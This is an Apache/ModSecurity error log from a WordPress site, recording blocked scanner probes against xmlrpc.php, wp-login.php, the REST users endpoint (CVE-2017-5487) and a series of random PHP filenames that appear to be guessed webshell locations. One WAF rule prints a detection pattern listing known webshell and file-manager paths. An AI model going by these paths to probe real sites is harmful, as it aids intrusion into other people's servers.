[Tue Jan 06 01:14:33.498695 2026] [:error] [pid 53108:tid 53120] [client 34.148.233.184:58687] [client 34.148.233.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.233.184, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVvxebBx3HO3OwSCI0gnjwAAAUo"]
[Tue Jan 06 01:14:36.898585 2026] [:error] [pid 53108:tid 53124] [client 34.148.233.184:58687] [client 34.148.233.184] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVvxfLBx3HO3OwSCI0gnlwAAAU4"]
[Tue Jan 06 01:14:38.967972 2026] [:error] [pid 53108:tid 53128] [client 34.148.233.184:58687] [client 34.148.233.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.233.184, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVvxfrBx3HO3OwSCI0gnmgAAAVI"]
[Tue Jan 06 01:22:57.422768 2026] [:error] [pid 29187:tid 29199] [client 34.52.190.109:51128] [client 34.52.190.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.52.190.109, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVvzcYSYYRtfmMXGZCqSnwAAAAo"]
[Tue Jan 06 01:23:00.323021 2026] [:error] [pid 29187:tid 29203] [client 34.52.190.109:51128] [client 34.52.190.109] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVvzdISYYRtfmMXGZCqSowAAAA4"]
[Tue Jan 06 01:23:02.646981 2026] [:error] [pid 29187:tid 29197] [client 34.52.190.109:51128] [client 34.52.190.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.52.190.109, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVvzdoSYYRtfmMXGZCqSpgAAAAg"]
[Tue Jan 06 01:50:34.205661 2026] [:error] [pid 60510:tid 60561] [client 34.73.159.234:61236] [client 34.73.159.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.159.234, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVv56m3HNEkuMRrTL0IZXAAAAI0"]
[Tue Jan 06 01:50:36.844402 2026] [:error] [pid 60510:tid 60557] [client 34.73.159.234:61236] [client 34.73.159.234] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVv57G3HNEkuMRrTL0IZYAAAAIk"]
[Tue Jan 06 01:50:39.063748 2026] [:error] [pid 60510:tid 60565] [client 34.73.159.234:61236] [client 34.73.159.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.159.234, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVv5723HNEkuMRrTL0IZYgAAAJE"]
[Tue Jan 06 03:05:28.409359 2026] [autoindex:error] [pid 60510:tid 60552] [client 138.197.13.155:53460] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Jan 06 03:53:43.305084 2026] [:error] [pid 45012:tid 45018] [client 43.157.82.252:36432] [client 43.157.82.252] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVwWxxaMAxCuju1d0ubRfgAAAMQ"]
[Tue Jan 06 06:42:58.920223 2026] [:error] [pid 45012:tid 45037] [client 51.38.109.223:50506] [client 51.38.109.223] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/cidaas-pro-master/composer.json"] [unique_id "aVw-chaMAxCuju1d0uYSNAAAANc"]
[Tue Jan 06 07:06:59.012171 2026] [:error] [pid 45959:tid 45973] [client 43.153.192.98:50178] [client 43.153.192.98] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aVxEE1ajdn8P3hjgMYyrmQAAAUs"]
[Tue Jan 06 10:37:05.947700 2026] [:error] [pid 45012:tid 45019] [client 155.94.150.238:64211] [client 155.94.150.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aVx1URaMAxCuju1d0uZNUwAAAMU"], referer: www.google.com
[Tue Jan 06 11:11:36.425415 2026] [autoindex:error] [pid 45959:tid 45984] [client 194.163.170.99:62760] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Jan 06 12:18:09.463614 2026] [proxy_fcgi:error] [pid 35140:tid 35161] [client 103.4.122.14:48918] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('currentCronKey', '', 'yes') ON DUPLICATE KEY UPDATE val = '', autoload = 'yes' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::setPHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('wfsd_engine', '', 'no') ON DUPLICATE KEY UPDATE val = '', autoload = 'no' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::set'
[Tue Jan 06 12:33:01.467962 2026] [proxy_fcgi:error] [pid 44905:tid 44983] [client 103.4.122.14:51178] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Tue Jan 06 12:33:17.101028 2026] [proxy_fcgi:error] [pid 45012:tid 45030] [client 103.4.122.14:51302] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Trying to get property 'version' of non-object in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Tue Jan 06 12:52:46.089126 2026] [:error] [pid 35140:tid 35145] [client 152.42.136.98:52758] [client 152.42.136.98] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.136.98, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVyVHnoQaIDFMbT-XMxtfwAAAQM"]
[Tue Jan 06 12:52:49.291425 2026] [:error] [pid 45959:tid 45975] [client 152.42.136.98:62841] [client 152.42.136.98] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.136.98, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVyVIVajdn8P3hjgMYwt2wAAAU0"]
[Tue Jan 06 15:12:34.687139 2026] [:error] [pid 45959:tid 45973] [client 43.157.38.228:46382] [client 43.157.38.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aVy14lajdn8P3hjgMYxejQAAAUs"]
[Tue Jan 06 18:55:35.402388 2026] [:error] [pid 44904:tid 44951] [client 4.213.57.158:28760] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iko.php"] [unique_id "aVzqJztieuI1BJEZcvcS1wAAAEo"]
[Tue Jan 06 18:55:40.527490 2026] [:error] [pid 44905:tid 44983] [client 4.213.57.158:13457] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iko.php"] [unique_id "aVzqLLu7ufwWVst9EAu9DAAAAI8"]
[Tue Jan 06 18:55:43.886741 2026] [:error] [pid 35140:tid 35164] [client 4.213.57.158:13411] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iko.php"] [unique_id "aVzqL3oQaIDFMbT-XMyxSgAAARY"]
[Tue Jan 06 18:55:47.781070 2026] [:error] [pid 45959:tid 45986] [client 4.213.57.158:27179] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iko.php"] [unique_id "aVzqM1ajdn8P3hjgMYymjwAAAVg"]
[Tue Jan 06 18:55:48.336864 2026] [:error] [pid 35140:tid 35154] [client 4.213.57.158:14214] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hlonk.php"] [unique_id "aVzqNHoQaIDFMbT-XMyxTgAAAQw"]
[Tue Jan 06 18:55:53.620001 2026] [:error] [pid 35140:tid 35148] [client 4.213.57.158:18393] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hlonk.php"] [unique_id "aVzqOXoQaIDFMbT-XMyxUQAAAQY"]
[Tue Jan 06 18:55:56.568265 2026] [:error] [pid 45959:tid 45976] [client 4.213.57.158:15684] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hlonk.php"] [unique_id "aVzqPFajdn8P3hjgMYymnQAAAU4"]
[Tue Jan 06 18:56:02.514623 2026] [:error] [pid 35140:tid 35157] [client 4.213.57.158:12656] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hlonk.php"] [unique_id "aVzqQnoQaIDFMbT-XMyxUwAAAQ8"]
[Tue Jan 06 18:56:06.913368 2026] [:error] [pid 44905:tid 44970] [client 4.213.57.158:1825] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sagym.php"] [unique_id "aVzqRru7ufwWVst9EAu9HAAAAII"]
[Tue Jan 06 18:56:12.548694 2026] [:error] [pid 45012:tid 45020] [client 4.213.57.158:11832] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sagym.php"] [unique_id "aVzqTBaMAxCuju1d0ubT0wAAAMY"]
[Tue Jan 06 18:56:16.060285 2026] [:error] [pid 35140:tid 35144] [client 4.213.57.158:7189] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sagym.php"] [unique_id "aVzqUHoQaIDFMbT-XMyxXAAAAQI"]
[Tue Jan 06 18:56:17.524235 2026] [:error] [pid 45012:tid 45036] [client 4.213.57.158:14071] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sagym.php"] [unique_id "aVzqURaMAxCuju1d0ubT2QAAANY"]
[Tue Jan 06 18:56:18.580600 2026] [:error] [pid 44905:tid 44972] [client 4.213.57.158:6816] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qvaaq.php"] [unique_id "aVzqUru7ufwWVst9EAu9JgAAAIQ"]
[Tue Jan 06 18:56:21.310686 2026] [:error] [pid 44905:tid 44976] [client 4.213.57.158:6800] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qvaaq.php"] [unique_id "aVzqVbu7ufwWVst9EAu9LQAAAIg"]
[Tue Jan 06 18:56:24.047041 2026] [:error] [pid 44905:tid 44978] [client 4.213.57.158:1899] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qvaaq.php"] [unique_id "aVzqWLu7ufwWVst9EAu9MgAAAIo"]
[Tue Jan 06 18:56:27.999169 2026] [:error] [pid 45012:tid 45032] [client 4.213.57.158:27041] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qvaaq.php"] [unique_id "aVzqWxaMAxCuju1d0ubT5AAAANI"]
[Tue Jan 06 18:56:29.284976 2026] [:error] [pid 45959:tid 45973] [client 4.213.57.158:15353] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aVzqXVajdn8P3hjgMYymxgAAAUs"]
[Tue Jan 06 18:57:09.375057 2026] [autoindex:error] [pid 44905:tid 44980] [client 4.213.57.158:9861] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Jan 06 18:57:34.588766 2026] [:error] [pid 44903:tid 44925] [client 4.213.57.158:13636] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fdd2.php"] [unique_id "aVzqnthHqjs38zbkQPD2jwAAABI"]
[Tue Jan 06 18:57:37.284871 2026] [:error] [pid 45012:tid 45020] [client 4.213.57.158:9561] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fdd2.php"] [unique_id "aVzqoRaMAxCuju1d0ubUKgAAAMY"]
[Tue Jan 06 18:57:40.881791 2026] [:error] [pid 44905:tid 44983] [client 4.213.57.158:18495] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fdd2.php"] [unique_id "aVzqpLu7ufwWVst9EAu9hgAAAI8"]
[Tue Jan 06 18:57:47.534843 2026] [:error] [pid 44903:tid 44927] [client 4.213.57.158:18444] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fdd2.php"] [unique_id "aVzqq9hHqjs38zbkQPD2owAAABQ"]
[Tue Jan 06 18:57:51.234058 2026] [:error] [pid 35140:tid 35149] [client 4.213.57.158:1154] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aQw.php"] [unique_id "aVzqr3oQaIDFMbT-XMyxgQAAAQc"]
[Tue Jan 06 18:57:52.816678 2026] [:error] [pid 44904:tid 44960] [client 4.213.57.158:11841] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aQw.php"] [unique_id "aVzqsDtieuI1BJEZcvcTOQAAAFM"]
[Tue Jan 06 18:58:00.887048 2026] [:error] [pid 44903:tid 44926] [client 4.213.57.158:16354] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aQw.php"] [unique_id "aVzquNhHqjs38zbkQPD2rgAAABM"]
[Tue Jan 06 18:58:06.624069 2026] [:error] [pid 44903:tid 44927] [client 4.213.57.158:1695] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aVzqvthHqjs38zbkQPD2tQAAABQ"]
[Tue Jan 06 18:58:09.449875 2026] [:error] [pid 35140:tid 35152] [client 4.213.57.158:15960] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aVzqwXoQaIDFMbT-XMyxmQAAAQo"]
[Tue Jan 06 18:58:11.663143 2026] [:error] [pid 45959:tid 45982] [client 4.213.57.158:7661] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aVzqw1ajdn8P3hjgMYynIgAAAVQ"]
[Tue Jan 06 18:58:16.682086 2026] [:error] [pid 35140:tid 35161] [client 4.213.57.158:1684] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aVzqyHoQaIDFMbT-XMyxogAAARM"]
[Tue Jan 06 18:58:19.172720 2026] [:error] [pid 44903:tid 44908] [client 4.213.57.158:27514] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sto.php"] [unique_id "aVzqy9hHqjs38zbkQPD2zwAAAAE"]
